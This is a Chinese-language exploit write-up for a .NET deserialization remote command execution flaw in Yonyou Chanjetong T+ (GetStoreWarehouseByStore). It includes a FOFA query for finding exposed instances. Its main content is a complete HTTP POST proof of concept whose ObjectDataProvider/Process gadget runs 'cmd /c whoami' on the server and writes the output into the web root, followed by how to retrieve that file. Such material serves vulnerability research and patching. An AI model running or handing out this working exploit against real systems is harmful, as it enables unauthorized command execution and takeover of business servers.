# 用友 畅捷通T+ GetStoreWarehouseByStore 远程命令执行漏洞

## 漏洞描述

用友 畅捷通T+ GetStoreWarehouseByStore 存在 .net反序列化漏洞，导致远程命令执行，控制服务器

## 漏洞影响

用友 畅捷通T+

## FOFA

```
app="畅捷通-TPlus"
```

## 漏洞复现

登录页面

![image-20230704111641427](./images/image-20230704111641427.png)

验证POC

```
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Connection: close
Content-Length: 668
X-Ajaxpro-Method: GetStoreWarehouseByStore
Accept-Encoding: gzip

{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName":"Start",
    "ObjectInstance":{
      "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
      "StartInfo":{
        "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "FileName":"cmd",
        "Arguments":"/c whoami > C:/Progra~2/Chanjet/TPlusStd/WebSite/2RUsL6jgx9sGX4GItQBcVfxarBM.txt"
      }
    }
  }
}
```

![image-20230704111653392](./images/image-20230704111653392.png)

```
/tplus/xxx.txt
```

![image-20230704111706616](./images/image-20230704111706616.png)